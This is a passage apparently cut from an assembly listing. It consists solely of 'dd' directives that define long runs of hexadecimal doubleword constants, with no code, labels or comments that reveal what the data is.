430656AFh, 0D3C07C88h dd 180F9ADBh, 973CE8A8h, 3196190Dh, 0ABDD089Dh, 89558081h dd 0A3FDD6B3h, 0A3608C50h, 0DD065AC8h, 0AAF34051h, 0AD81B619h dd 0F60356E8h, 0BF361685h, 0F876A083h, 0B18C7A0h, 91A7CF67h dd 61AD8F9Ah, 94B7E478h, 861A08C3h, 0FCDDE1B3h, 8811E844h dd 7128E0B0h, 0DDCB2467h, 50929824h, 796320F6h, 37DA2590h dd 0C6703D58h, 6BE8F89Dh, 0B7B879C0h, 6A56B3h, 1876154Dh dd 94579798h, 1DD1DD3Ah, 3716CE9Bh, 0F7063B1Eh, 6108DCB3h dd 57718B2h, 2E20B6C5h, 18926110h, 0F0CFB997h, 41C74917h dd 0B7C1D8A1h dd 88EE2EAh, 3CFF51F3h, 67208AB2h, 300CB58Fh, 0A4267708h dd 0A71B4359h, 7E1FB309h, 181E7418h, 103D1397h, 0B40EDDF0h dd 98A2BB17h, 19DE3650h, 282BAA73h, 1D40BE9Ah, 77068517h dd 60383C4Eh, 65B70868h, 0F6E8B4A5h, 8F182E65h, 0C0E182A0h dd 0EED33708h, 503097B6h, 295A4084h, 6F26E8B8h, 0E4A0301Bh dd 0CCC3B0F8h, 1504C277h, 0FFB28C1Ah, 831836C0h, 31931702h dd 769403CEh, 783E1AF7h, 0A14066B0h, 7C55F008h, 35D73105h dd 0FC0F050h, 32722602h, 9600BFD4h, 58B8159Bh, 0B8633817h dd 77A0F841h, 50C61C34h, 0F3E0F912h, 8D3128BCh, 9827F431h dd 5710D2C8h, 9843F563h, 0A9291F68h, 72143C43h, 0F01BCC04h dd 0F1100803h, 4C80BD30h, 6D418A43h, 6A00F4E6h, 0A504C4F9h dd 8E75BFh, 0C9B9F6DBh, 7378BA0Eh, 7181B53h, 5F6C388Dh dd 0AE753900h, 7A4F00B5h, 0BEA31DB3h, 1CA51949h, 9F989A83h dd 2D1888DCh, 2BBC0001h, 4BC2C428h, 7DFE1CD3h, 9E60C57Ch dd 2C3C2120h, 0A7623803h, 0AB1E01D8h, 0DFE200A8h, 9DE7C2CBh dd 0E1B32500h, 22121485h, 67E0C0CCh, 1BD21B1h, 0E238F666h dd 3E81F0E2h, 410F6937h, 0E1005A36h, 62120B27h, 281DF7FFh dd 82003804h, 0BD5702D5h, 3019059Eh, 202CCDA2h, 82FE6554h dd 183BA20h, 0E489F941h, 98338A5Ch, 0FD4058B0h, 0CBD87A0h dd 0E98C2B62h, 10C05361h, 0DDD40878h, 8100A9CEh, 0DCE7F6A0h dd 60E46FF2h, 3D57FBC1h, 8B040F83h, 450635E8h, 8C0FBCA1h dd 33420A7h, 0CEDEE102h, 57E10D08h, 4A1ABA7Dh, 16250024h dd 1A7D195Ah, 0C0C1002Dh, 0DF4478A9h, 3A0CB230h, 887A96F4h dd 0E0140076h, 67E1B40Eh, 350071DEh, 5CBBF377h, 29CB8D32h dd 0C01C8478h, 80A5E568h, 317DF40h, 0B25354C2h, 72A3520Ah dd 0C3C44110h, 9DDE1CF0h, 3FC0F20h, 0C2F960B7h, 5C987F3Ch dd 0F500DD52h, 0D779125Eh, 5645E48Fh, 138028CDh, 0D1546446h dd 767E722Dh, 4A8502C9h, 0A6603D25h, 0F9009BEDh, 0A1C9D620h dd 12C861Bh, 0A7A885Fh, 80D0B68Bh, 0D209DD38h, 1D69CA85h dd 0E11CB356h, 0D425C8E0h, 3D03F98Ch, 8A8E60A0h, 4A08D960h dd 0E5B35CDCh, 4502204Eh, 0D31CCD35h, 10CB1D03h, 0F0C59C30h dd 7101CCC6h, 387D80EEh, 67B4AC02h, 40B97F6Fh, 0F0B22235h dd 0F827C91h, 0B7F10507h, 0E20DB300h, 8C3DAB5h, 8FC82895h dd 0E893B81h, 3723C0h, 17D2F6D6h, 746E616Ch, 1F076D77h dd 993C89CEh, 2527B410h, 87B907C4h, 43B219BCh, 0A7E278CCh dd 7B791C0h, 0E50E33FAh, 804B03D5h, 0C8D45215h, 341E52F5h dd 851560C3h, 9C001EEAh, 29C8A8B9h, 60181F35h, 6870811h dd 89CF7803h, 79D56F7Ch, 1E0A74E0h, 9F927h, 0E2C9DB47h dd 945FE855h, 2842F0A8h, 3DDB9C0h, 0DC8079E5h, 40E3633Fh dd 0F039AE2Fh, 7B2053Eh, 98788F6Fh, 74710C08h, 0BC4866A2h dd 0B46DC203h, 1012EEE7h, 1E1FC0A0h, 0C70C13DEh, 0E3E7085Bh dd 0B23EDC10h, 3005A737h, 0E71DA2C3h, 0F8380B86h, 0C009C00Fh dd 587B496h, 0DAA8E463h, 49381831h, 0C2D3B0BBh, 7E59C8A0h dd 0A07B90Ch, 627388A3h, 485308A1h, 25401040h, 205638CCh dd 0A2843107h, 0F0266F40h, 20DFD3E7h, 6710C818h, 0C031CCD0h dd 3A3327A8h, 0C65D035h, 37BAE750h, 3860B610h, 0E5602E98h dd 5AEB3F95h, 0E92D589h, 10E34003h, 0BAB175A1h, 12582010h dd 78944895h, 7A159714h, 0D427ECh, 0E78D1E1Ch, 0C4943135h dd 826C71C0h, 9C821A80h, 8497A87h, 102E221h, 0BAAC8320h dd 45181914h, 8A6BB82Bh, 0B0340720h, 36F58705h, 0B00DB40Ah dd 8C92670Ah, 34A4C700h, 642775E5h, 81D90831h, 247855A4h dd 0D0C670ACh, 0F8088C35h, 0E7A20734h, 43A11875h, 28319EF5h dd 53D51915h, 6C3728BEh, 81C1C408h, 40AD359Ch, 0FC4B588h dd 0D45308C4h, 1A02609Eh, 63A50B3Ch, 1E12FC01h, 2937C08Ah dd 0D45A09D8h, 0ED045C3Ch, 3973478Fh, 9E5CC080h, 18C8DCDEh dd 6B32F888h, 3FA7B909h, 11040233h, 50D4B0C8h, 0EC60C5C5h dd 2C2C2043h, 9E31F36Bh, 0B43C987Bh, 24075030h, 0F0F0C55Ch dd 7C0081F9h, 4D4070Ch, 0A191139Ch, 0A82009F0h, 938E3287h dd 0FC435208h, 0B2286BC0h, 6420C724h, 0CF506701h, 24D18578h dd 1528CF0h, 42C6C1F1h, 0CC0C9493h, 2F07DEB3h, 0CCB6715Fh dd 4A761990h, 7BE40CD7h, 0C5088645h, 0B7D9C305h, 202C6ACCh dd 4CFF08EBh, 0AA1E0E84h, 657B3400h, 7AA899E3h, 1F93780Ch dd 36866A5h, 0B7CC0105h, 289657E2h, 71C83F00h, 76186F82h dd 648008Ah, 89C112D1h, 703092DEh, 0B6B1087Ah, 8024A7ADh dd 41CEBB47h, 76011EB8h, 0A85EF9EAh, 184B564Ch, 81A41C78h dd 0CAB4332Bh, 9F306C8Dh, 12327B0Ch, 412A300Fh, 300F9Bh dd 7D8B3A60h, 7B76A2B5h, 0A84B2B0Ah, 855C60CCh, 902260Ah dd 6D6A76A4h, 90A48038h, 3CCA8E8h, 2578BA51h, 85E073E2h dd 20CC6736h, 3C50830h, 6CA85935h, 2CA05D7Dh, 0D0CAB5D0h dd 0E8238438h, 0A92C6860h, 78E4612Bh, 0F031C04Ah, 135CB032h dd 0DA051426h, 0D7E014F0h, 802637E8h, 18F19B83h, 183F3978h dd 2490C827h, 0C08E648h, 286BC225h, 78AC3A59h, 0B8879118h dd 11805A41h, 33E5F070h, 803886B2h, 0A2050815h, 6545F0C4h dd 534E1251h, 0FE400A96h, 0A147F8F4h, 99B96214h, 48A0CC4h dd 5639E064h, 7C00C85Eh, 0CE60949Ah, 9300D1BCh, 40AE8FAAh dd 1F76AB0Ah, 733636Eh, 407D8336h, 0DEB9DFB6h, 0EB0C23FAh dd 8D55966h, 0F90C40D9h, 0D1299903h, 0E0FE7416h, 0F88E0F79h dd 0BEB00339h, 0BA1CF501h, 0CB5E75A1h, 5A7F15C0h, 0BF0E18CFh dd 0D7C3B51Ch, 0F62FC72h, 12939C08h, 4925C04h, 0BC03C97Ch dd 3CE00C7Eh, 20C2FA4h, 10CD9475h, 0E7A00040h, 0BF223836h dd 44098A7Ch, 809A77F8h, 33DA89ADh, 92323111h, 1A4E7C30h dd 2D6BEA00h, 0D211395Fh, 2288E01h, 5DF49D95h, 3E1E1C4Fh dd 507848EBh, 28997205h, 10C61020h, 0DBFC3194h, 0E0AF1288h dd 59C41C72h, 4B3C4CBCh, 4A20377Fh, 1B0EBD5Dh, 90F078D4h dd 40EF2FBBh, 96877A08h, 80A9DCF8h, 0A14C4CB1h, 9EA65908h dd 0D9D200E4h, 0AC350169h, 605E4A23h, 0F335DCE8h, 80F478A1h dd 0B72EF538h, 874FFC5Dh, 61EA3581h, 8453E5F0h, 5A711579h dd 7DA26CF3h, 0D17F9581h, 4084413Ah, 0DD5AF098h, 557C01F2h dd 1B246A55h, 6B8400D4h, 8B7FC74Fh, 0C3527110h, 0CCC23A48h dd 875B4020h, 0F93C817Ch, 88D2AF35h, 0AFEF2C0h, 637C1B75h dd 0DCC250F1h, 45414481h, 9808505Eh, 94AD721Ah, 0AEB6FE82h dd 89221DDh, 6905EB7h, 0C1AF0308h, 163215D9h, 0DEE084B7h dd 126143C7h, 0B83ED261h, 782CF9A9h, 0A00C8E49h, 0A0348896h dd 0A3BCAFE6h, 0E19E0F20h, 0A0A06EC7h, 68361210h, 2494C0A1h dd 8278DB08h, 514DD515h, 2880A04Ch, 4911629Ch, 5C480AB2h dd 44935140h, 0B779DFC0h, 38AF6089h, 72951F52h, 4B63DC15h dd 0E68CE0B4h, 399A6173h, 305F24F2h, 5157414Ch, 0D9278180h dd 39A0CD49h, 385E62E8h, 70B44B6Eh, 10230C39h, 3209ACA7h dd 98AD8133h, 37700CE8h, 68475100h, 61D64C70h, 6318006Eh dd 0F0A798AEh, 0AA3D89A5h, 1101FEC9h, 0B6FC48Dh, 1C4846F5h dd 0FFEFED2h, 9956CA02h, 8AA0446Fh, 0D56F314Ah, 0E0835121h dd 3810057Eh, 0E7706260h, 208A46F9h, 9121DF0Ah, 71EDE081h dd 7E60E610h, 4AB08738h dd 0C4EA748Ah, 3C82D170h, 57F208DEh, 270067C2h, 0A899F7Ah dd 0EA08C617h, 0CA2B80F3h, 0A16078C8h, 0ED13B123h, 9DC74884h dd 0F5350FA5h, 16DBA078h, 730A2078h, 0C71EE1B0h, 9F586E5Ch dd 0F8AF0B08h, 86260083h, 0D82AED22h, 0FB00C3F9h, 7BA832B7h dd 0E473BDh, 0F12BE7E3h, 2E5CC8CEh, 43386962h, 3D7E1E25h dd 0D5123300h, 17912B7Dh, 0AE5C01C9h, 39827FFh, 3F030F22h dd 0E444D1E3h, 73B17001h, 77EE5C61h, 0A62D098Fh, 48F80E06h dd 8087C373h, 0E00F8220h, 2B08E84Eh, 3E601551h, 8E0A3BBAh dd 0D07C27FDh, 0E51839CDh, 71404F38h, 0F888ED31h, 0ADF02D34h dd 929E184Ch, 0AF113873h, 36F83D62h, 0A083C2Dh, 866780D5h dd 0A83A0631h, 742D372Bh, 46EB4740h, 0D1D0A8ECh, 0AE38C26Bh dd 70B6288Bh, 5CC71126h, 0E9F1A830h, 4063813Eh, 0CA514E90h dd 4F9B4A1h, 885783Ch, 6DDFC69Dh, 48A6910Ch, 2ED8400Eh dd 7CBD502Bh, 0CE82D749h, 1440D613h, 0FF0566B1h, 0BDC3CE5Ch dd 74E57C68h, 0D356332Bh, 74835138h, 7C387868h, 6482B0D3h dd 3888F7ACh, 0EE050771h, 7468B525h, 517D1802h, 751139AAh dd 232F03E3h, 13E0C3E9h, 89399DFAh, 5172D431h, 5CA02E42h dd 18615383h, 70A5D139h, 8EADD442h, 10818C94h, 6E4D40EEh dd 183C7832h, 8E98403Dh, 1210DDA5h, 4EDC0690h, 0EE240860h dd 0FEF810DFh, 278B31E1h, 4108F179h, 0BAB42E94h, 38371868h dd 0AF28C070h, 0C4EC019Ch, 209A81B9h, 97289150h, 6831F037h dd 3E10836h, 8CC93101h, 0C0048C58h, 2FC9CC6Ch, 0DC2B0E18h dd 1CC0B028h, 404D7CC9h, 5D32B1D9h, 0BEC7F0A4h, 6B2D02B0h dd 7A2C7B5Eh, 8CCE2441h, 78068891h, 88C7657Ch, 17987CC0h dd 63DE1518h, 0C4D77181h, 0C1102E48h, 3B6E00h, 0AD9E43h dd 0FF91FD7Ch, 0DE40D3A7h, 48B86C00h, 214E3E6Eh, 3F75730Eh dd 71F13777h, 13C614D7h, 0F4B01C99h, 0EB2066EDh, 0AD410022h dd 937E022Ch, 0DE1E0F99h, 1F3A9724h, 3E066410h, 3110630Ah dd 360865FBh, 691EF05Eh, 0CC3E5F40h, 9E284919h, 51889036h dd 7C5DF808h, 0FBE192Ah, 867F1862h, 0F3DC3E30h, 0F0AB3E20h dd 0EFE55E0Ch, 47CC110h, 4F67FE02h, 969CD3C6h, 0C2360064h dd 0A46D38B1h, 9666E175h, 19C88169h, 909C7B9Eh, 5ED0844Ch dd 0BE0D88E6h, 8DFAE1D8h, 0C87BFE88h, 0C60758F1h, 0E263E137h dd 2A2D9E10h, 6384ED09h, 0ABFEC8A6h, 7936087Ch, 180879F0h dd 0E82BF63Eh, 408163FCh, 0F0DD3998h, 0EE64819Eh, 0FE039808h dd 1031FF1Bh, 3A5190Fh, 84CA3894h, 0E8D67E14h, 0F09D9310h dd 2876A8A9h, 188463BDh, 40C5FE01h, 60C161ACh, 53C6DC9Dh dd 0B6802426h, 6F196356h, 6BA140C3h, 0AAD020C4h, 0DC9CDE12h dd 15F32878h, 0C4B72629h, 805BC118h, 0CB65451Eh, 0EC1DCC88h dd 8CAEE0Ch, 0ECDC579Fh, 0DA2BA181h, 686110E2h, 938CA1C2h dd 9D07645Bh, 6893A95Eh, 0BC248108h, 3DC160D6h, 8CF5D9A4h dd 0C0362139h, 0D7D12B7Eh, 1A8F4F54h, 9327CCE4h, 0A91587A4h dd 0E0D8E479h, 617E521Fh, 54E17194h, 0AE3C207Dh, 0D8087968h dd 0FC550A54h, 4FF89CFEh, 9F78236Ch, 9F745456h, 0BCF8953Eh dd 98A11EACh, 0BE98E8E4h, 0C4298B78h, 82F48210h, 0D88EFC1Ch dd 4CCD885h, 78D6A9DCh, 0E9AC1867h, 0BAC1994Ch, 0F324687Fh dd 9300E435h, 781A22F8h, 1D9C00EAh, 0A7BBAA0h, 0AA00617Fh dd 3D14B919h, 89DC0Fh, 0CD5F51DEh, 0E41F50ADh, 569E1CA5h dd 6B42CE44h, 0D853FC00h, 1103BF51h, 0BE3F745Bh, 0F3081E6Eh dd 55023EFAh, 0E3DF508Fh, 0B0042896h, 1509BD52h, 38FE981Fh dd 88C4CCDFh, 0CC3DE69Fh, 37200EDBh, 0E9BC0012h, 0B7A31DE4h dd 4100F7AEh, 5F74B4EBh, 1D5195C0h, 73D25FFh, 0C1DC5E7Fh dd 81BD989Fh, 0F74CAE08h, 3086AB61h, 80C99B3Fh, 88E58A28h dd 0BF8CF950h, 640FCE41h, 0BF98993Ah, 205C9117h, 0A1F7B107h dd 0E143AFFAh, 0D1091FFFh, 5AC1041Dh, 600F0CAEh, 0C5B579DFh dd 7876E878h, 3A15AEC0h, 3BDC0D62h, 0F7B4867Ch, 0E958BF01h dd 816818DBh, 421608Ch, 0B91410DDh, 0EA9F08D4h, 7D160106h dd 4BC55F50h, 6D9F0E34h, 1CD11867h, 48836346h, 0B030E161h dd 751FB868h, 0FF740AB3h, 0F0D8ABBCh, 0E500B352h, 0F6BDD3Bh dd 0A1B0133Ch, 488408D4h, 34017B9Fh, 0B82EB46Ch, 0C3D3E805h dd 8A3DDC48h, 0B574F81Ch, 0ABA21F85h, 1862A078h, 0D929B464h dd 47514EFCh, 8878A3CCh, 0E3A243C0h, 78DC6F6Eh, 2B4750DEh dd 0A2607CB9h, 89286B91h, 1F705EBCh, 0F358CE4Fh, 48CF5C31h dd 0BF2B1416h, 883D606Ch, 0DA61E515h, 17CD7C38h, 0BE06D842h dd 0AD090CF4h, 1C39D445h, 44F83D24h, 9F47814h, 63A9D7Fh dd 14086680h, 0D43444FFh, 0B859AA14h, 6A2C612h, 3868AEF4h dd 0C6F4724h, 70099218h, 7FF0A190h, 23FF0886h, 0E33E10DCh dd 793F08D7h, 0CC610D9h, 38ECB2BFh, 0C0D24889h, 60677B38h dd 50F08D8h, 0CA0C1F75h, 571B3862h, 4081C07Dh, 1073C607h dd 0CCDB703Ch, 0F8096F38h, 0D17F80C6h, 400EE8C8h, 0D4AFA0A3h dd 0AA74278Bh, 48C44A8h, 63873814h, 0DB7E8D8h, 8C96E026h dd 605AB1BDh, 88C4201h, 2818CDFBh, 0A0F06365h, 1890F07Ch dd 0C92194C8h, 1265B0FCh, 0F07C1F48h, 898C3C49h, 79FCD020h dd 71538D6h, 552FF15Ch, 8BDF03F8h, 701513D3h, 0E08C76EAh dd 20CA410Bh, 5C10DED0h, 6C181258h, 8903E8E4h, 78D908CAh dd 2A4EA3D8h, 14B0187Dh, 0D8DFBD7Ch, 1F2B0D20h, 0A9607C14h dd 0C461E8F8h, 81D51C41h, 4120BF68h, 5FDD3FD0h, 14F05080h dd 6DC1D012h, 80DA1C0Ch, 0F09B551Fh, 80104FCEh, 834C8E31h dd 18155FAh, 2A3FB88Dh, 0BA2C3140h, 8103150h, 2920DE7Fh dd 8C5FE91Fh, 0D1B3EC03h, 980DCC1Ch, 487324FCh, 5AFF598Dh dd 52ECD1E8h, 40401898h, 5C48E47Fh, 29171BA4h, 0CC91BD08h dd 0A45E95F8h, 4A84F803h, 0C87EFBDAh, 0A472CE28h, 0E0A038D1h dd 3181DD92h, 0BC38E62Fh, 0E5FF0117h, 779C6C04h, 69C4BB08h dd 0E85C0CC5h, 4CBBCC39h, 156A20E0h, 8CCA500Ch, 0ADE22B7Ch dd 588406Ch, 8A051C2h, 0E1181816h, 7C78F8A2h, 94FF5009h dd 372EB027h, 0A210151Fh, 7CB48F47h, 31B9F89Fh, 1C48E4DAh dd 0F8506439h, 3BDC89Ah, 3860C13Bh, 0E2501309h, 1109C0C7h dd 31D3211Fh, 331E3274h, 930E3509h, 0F304DFC8h, 9B004640h dd 2AD324FAh, 15F8CB74h, 0AF10CD63h, 5893E013h, 0CC9D0EA9h dd 0AC837365h, 2CC05BF5h, 980C6CC2h, 8E6BB8Ch, 1F6D780Eh dd 0C6F41CCh, 0EC20A62Ch, 99EABB1Fh, 0D3D87700h, 525ABDh dd 0F10A95D4h, 7B38AD03h, 8E64B28h, 3499E300h, 6B45868h dd 0B5CA307Ah, 98EAFD78h, 8CEEEE8h, 80108FECh, 99C2776Ch dd 305D524Ch, 3B715BC1h, 0DA518CF5h, 2B4CA07Fh, 401CC16Dh dd 0AF9D8B61h, 88BA01F9h, 670CD08Ch, 56438C70h, 540EE5C3h dd 6837FA8h, 0C2641A15h, 0DAF7E080h, 0A1406105h, 561028FAh dd 0C2138B8h, 96E3EF57h, 0A17FC7D2h, 0CF681B56h, 442E8667h dd 53A7769h, 2A4C9D13h, 0F9686801h, 0A1710800h, 9A06B3A6h dd 0ECA0C2FBh, 6CB4C5FEh, 3DBE5614h, 8A7A1038h, 1183EC0Eh dd 812A0C84h, 0BC6C4C18h, 198B1408h, 18A512ECh, 6ACD2004h dd 79C5D105h, 0A668E484h, 1959BE20h, 681F33DAh, 0C00C2774h dd 2799D9A9h, 0F081516Ah, 74A12BEFh, 0DF24E0F0h, 39C4981Fh dd 4C03831Ah, 0D82B1E97h dd 0ECE08CCCh, 0A85EF304h, 48C2FAA8h, 0CE2BA09Dh, 27E36074h dd 39DFD171h, 189EA0C8h, 0E52C0844h, 88A89C51h, 0AE1EC11h dd 1EB0630Ch, 0CC18602Ch, 0AE20E6B9h, 636CF86Eh, 2DAC18FDh dd 85322878h, 837C38E7h, 0A4788CC4h, 86FFD06h, 446C7620h dd 6D407CAFh, 60ED56F5h, 0C1077980h, 9CA01573h, 63505F3Ah dd 0B8AF7298h, 37C19B81h, 9A000BDBh, 4098B2A9h, 0C0B4C957h dd 0EBB9DFFCh, 7A38C810h, 0B1110C85h, 0B37BF404h, 602D20C2h dd 0FB854C28h, 12A0188Ah, 0C8D215E8h, 3DFE92F0h, 60C212E4h dd 409D86DAh, 93012BDCh, 85E3C03Ch, 12441FBAh, 38B566D1h dd 8E48A127h, 0D6637808h, 30138B99h, 8CA0EF20h, 98AFC11Ah dd 94254802h, 1A14485Dh, 6CF0C56Bh, 0CF987CC3h, 0E05D1008h dd 3EFA0911h, 460E40BEh, 0C87B280Eh, 0A2710181h, 2738361Eh dd 6E2FC1BCh, 39894ED6h, 2889D23Ah, 424188Ah, 8221CBACh dd 38405A40h, 30B2E2CCh, 4C5C3649h, 0F31062D0h, 0A84BCEDh dd 7EC449DAh, 729A80B4h, 15F61ECCh, 6C248C90h, 5391A045h dd 8740443Ch, 57F29C40h, 0F8198EDh, 11E6A88Dh, 7460BA7Ah dd 0F05D424Ch, 283DF7A4h, 1D4BD11h, 1EC7213Ah, 42C8AB56h dd 0C0BE61D8h, 8200288Ch, 0E70C822h, 4DE1D8C3h, 5212D850h dd 581C056Ah, 852869F3h, 1517F590h, 4B7A2021h, 0B0136C00h dd 66A2CCA0h, 0F5E2D0F1h, 458EB0C4h, 18737706h, 9CC1362Bh dd 2328A8CCh, 0DA0C0FBEh, 58866941h, 0F912F837h, 87C0834h dd 107D2C06h, 0EEDC2818h, 946528E0h, 8026FD8h, 10D34F86h dd 0E02BCB28h, 0F6946E49h, 98ED11F0h, 6EBA820Bh, 1F006168h dd 90ECF09Dh, 36251937h, 98BE8580h, 26CF0210h, 45961C69h dd 0A8726C4Dh, 0C51E06D0h, 4269020h, 8762A0C0h, 828D2438h dd 4448B56Ch, 0B8C6EF31h, 3120A3DDh, 8E10A123h, 99208C97h dd 40B218D5h, 28646704h, 9092F610h, 0A0B84F73h, 561811B8h dd 0B71A840Eh, 45FB8C05h, 0D3544ECh, 90E099B8h, 1E333610h dd 488C6CE8h, 3C203E77h, 0E9C57890h, 9C065BC5h, 2A18587Dh dd 509486D9h, 6234A49Ah, 9467B895h, 0E8E0DE06h, 4CD0C38Fh dd 8831290Fh, 0D7ACE87Bh, 1D6CE441h, 155C7C05h, 492E0442h dd 2CFA00BCh, 0CEC662B0h, 465F8207h, 8641C592h, 66E09FCCh dd 1F9B7C43h, 7560D26h, 0C0F5E5E6h, 622D2906h, 574D8F0h dd 23F4661Eh, 0E1CF2606h, 90C13010h, 63BF7908h, 0D60752F8h dd 607F3729h, 0BD2F5F70h, 0A74600D9h, 63386270h, 130122B9h dd 9BD40F6Ch, 90994E2Dh, 0B17199F6h, 73665141h, 0C381030Fh dd 9C2E7BCFh, 12C6BB31h, 0B466038Fh, 5186A831h, 504F77A6h dd 2A82120Ah, 845B4228h, 0EFD68600h, 37060062h, 71E663CDh dd 92007674h, 8A43EAF1h, 0B664BA1h, 1C451BABh, 4F394880h dd 7900E6BEh, 43BB5671h, 7403EBFCh, 0AF8B1F42h, 0E2EA4659h dd 561F18F3h, 8C0E8F1Eh, 0CA0B835Bh, 0CDCBC1B1h, 61EB0887h dd 0A42BC2FAh, 490C4B00h, 0E4CB2980h, 0DA396044h, 0BC467B7Fh dd 380DB618h, 60A7058Bh, 0E4560C88h, 0B875C696h, 0ABE807E4h dd 6B089261h, 188F29FBh, 2BC625C4h, 0EB0108CFh, 6B8FA7D7h dd 0B08C676Ah, 90E00582h, 29803A3Ch, 77E25C09h, 0EFF638F0h dd 0CCAB9CA0h, 0F14EA4A8h, 0D7304BF0h, 3BDF6899h, 0A70B7180h dd 57AC886Ch, 0D60FD144h, 96C8C88Ch, 0A1A83A52h, 8509453Fh dd 0A8CA3641h, 0E423CC04h, 2A3AE805h, 41D414B0h, 0FD16C444h dd 8D0B0480h, 848C97Fh, 0E8EB0402h, 0C78A9895h, 76604C46h dd 188FB257h, 485C12ABh, 58D01E98h, 9BAA894h, 0E7FA6C34h dd 82A85C23h, 597D3819h, 9885FD50h, 783BC1CBh, 3D099A98h dd 23D75804h, 681D963Ch, 0F0903848h, 729C3A8h, 969E688Ch dd 0E6843BD5h, 5CFC2B70h, 0A4F68AACh, 7010DB78h, 0F8886237h dd 70A4D60Ah, 52505CF8h, 361C1CA0h, 0AA89BA5Dh, 0E402B04Eh dd 5440B765h, 8C9CAB2h, 0EB5C017Ah, 305AFB83h, 63179862h dd 667C1638h, 50DD40A4h, 93476B12h, 70FDC00Dh, 402790D1h dd 4C6CB8D8h, 1B76248Eh, 3F5189F0h, 93BD4404h, 101B61B4h dd 0A4B86F6Bh, 0B0C06B8h, 2A705B49h, 4F08A663h, 0A4F030A8h dd 69E2EB08h, 932B1890h, 0FFC2743Ah, 0CA563864h, 40BA2B80h dd 2A500708h, 1F514A0h, 20992C96h, 34AE715Bh, 0F8AFBE30h dd 0BC2380A0h, 0C0B68C33h, 85244B70h, 6F1854ABh, 8077EB08h dd 89487F8Bh, 96FE18F4h, 0E99A9878h, 0A05472F8h, 0C6BC73F8h dd 8091598h, 9406D128h, 0D5CF64Ch, 10CD6FCBh, 4098CFE5h dd 2EBD084h, 0BD48C163h, 44283AC2h, 29643640h, 0C1F8F08h dd 0CF282DEFh, 63D42E50h, 0B32B08CEh, 0F30E8446h, 0F4133720h dd 28D69638h, 18768532h, 742C6969h, 490B0C30h, 0D231E409h dd 4097AB08h, 1ECD2BE4h, 844F8CCh, 8B59406Bh, 8DF87354h dd 373150B2h, 0A7E320A5h, 0CC44103h, 4083193Ah, 0D0A2DEA9h dd 4B28BC0Ch, 40C679B0h, 3368673Bh, 0AD106A10h, 0E3BF191Bh dd 8B100C91h, 0A598110Dh, 0D6CB28C3h, 313818F8h, 0E18908FAh dd 0E41918DCh, 1437BB30h, 7F1138D4h, 8096CF63h, 27D509FCh dd 0D48C39ADh, 351E9C3Ch, 140871B6h, 0AC75E088h, 658A61BDh dd 81B5A0C3h, 6195F0FFh, 3BD5101Ah, 1C15F001h, 8349F580h dd 90DDEFA1h, 0D50C9430h, 0F2487716h, 0D1408CF5h, 0C3283878h dd 0B527508h, 701E1831h, 11904E35h, 5C151C08h, 39F03020h dd 75941E20h, 0CE89F500h, 447DFC83h, 2DF400B6h, 161593A5h dd 8E3BC197h, 28BA802Ah, 6084D374h, 0B5F8C358h, 8019EB0h dd 348CB4E5h, 3001B320h, 0D4F89413h, 763C7484h, 0F551BD7h dd 2A28E3D8h, 3D889609h, 35949534h, 24B04468h, 0CD22C21Dh dd 40774030h, 8C903E02h, 83FE0214h, 37E565B8h, 0C28817E0h dd 87039E1Dh, 36A81E85h, 0F2950747h, 9315C1EDh, 468447F4h dd 2B6D900Ah, 881B3088h, 2CBA010Ah, 65A04044h, 54128C8Fh dd 80A1694h, 0B50AAC23h, 52786885h, 80078EDFh, 0B48CA1BDh dd 2BB81CD6h, 4C24A381h, 0C3471990h, 18A3E010h, 9450AE34h dd 908350BDh, 0B8DB507Bh, 0F5F0C37Eh, 0F824B3E2h, 23923015h dd 141B087Ch, 824CB2Bh, 140C0502h, 84A26125h, 20B49541h dd 78681A03h, 36B9D7EEh, 0E03037F0h, 0A7603885h, 29D2079h dd 0C084D491h, 0D8BC9462h, 8B46AA06h, 24308D5Eh, 0F8342A20h dd 0CB1B5742h, 8230A385h, 83889F1Dh, 359AC77Fh, 7024D5C3h dd 0E5F9041Dh, 8B96E8h, 7CCE76D3h, 70EB165Bh, 81096961h dd 0C1EFD168h, 2C60B5EFh, 0D62D00EEh, 0FBA4F0C4h, 27309650h dd 0E9EC305Ch, 0A138C06Ah, 0C7B5909Bh, 0AD000CFEh, 4B1163B4h dd 1D60936h, 8103ABA5h, 706DB70Dh, 700DF30Eh, 410C64CBh dd 58E84BDCh, 0FD071476h, 0B1960474h, 0F04CFF68h, 9C000839h dd 0D7987C2Dh, 38063187h, 78F553Fh, 0F0603209h, 89EF5F8h dd 0FBBB993Ch, 278CE400h, 0E604A9A6h, 0E05D0012h, 0AB5735C6h dd 0A50C8389h, 81EC03B3h, 6EEA0087h, 71A3D759h, 3F1E4273h dd 3AC0E319h, 0FC3BD15Ch, 369E036Fh, 0D80111ABh, 9BFD3900h dd 43282C2Bh, 19DB0040h, 67D4A182h, 701F8BEDh, 54C003E3h dd 0BB1657D2h, 144E2884h, 30247478h, 4C1017FAh, 530018DAh dd 948A1DEEh, 1321EF5h, 0D1E831FCh, 504B8302h, 0A19F4FD4h dd 3278D503h, 0E0193771h, 0F63775Bh, 0C4EA9C6h, 41DE3FC1h dd 0CF2BC0F3h, 0C439BB00h dd 75700704h, 0E0223B4Bh, 0E9DE6D80h, 0E7525F8Ah, 91C87800h dd 0B4571F10h, 0B93900FDh, 7149D2B6h, 0D70F699Dh, 3BC483Ch dd 87AA67h, 90B53B58h, 0B91BEBEDh, 30BB1437h, 0F975ADC0h dd 1BA47F76h, 38FA65B7h, 0EB2A5DE0h, 820003FAh, 5566C0E9h dd 6F0ADC5h, 6768C625h, 9D0028B7h, 83CB4179h, 77477C9h dd 0FF9BD5DCh, 0ED974036h, 0FC00A7C0h, 0C3B6FBCDh, 0F6B3921h dd 5F33DA42h, 0D8F30F5Fh, 1A73CBA0h, 32029C2Dh, 907E1B13h dd 0DA88A386h, 0D20800C8h, 15773B58h, 0EF00C27Ch, 0BC08CBB4h dd 9DBAB7h, 8206DC25h, 0C5D591FDh, 0F68EC02h, 43E627E5h dd 0FF36AB21h, 0F0B7F621h, 6BCCC8h, 1D3F2997h, 0FDBB7FB5h dd 0D0552714h, 0F85158Ch, 31A90084h, 9F16E1EDh, 14011DC5h dd 8E1E81A2h, 941F7576h, 9E045710h, 10C3B9CCh, 0FE6F009Fh dd 0FF52B791h, 51E0DF6Eh, 55E75600h, 0D38FACB2h, 7DB100E1h dd 0B8A6A250h, 0A130B352h, 3CDC28E0h, 0D5CB80CFh, 28419789h dd 42178A37h, 87045490h, 0B41F6120h, 0C08BEB80h, 0D0CE8228h dd 0CD006C3Eh, 1598BC71h, 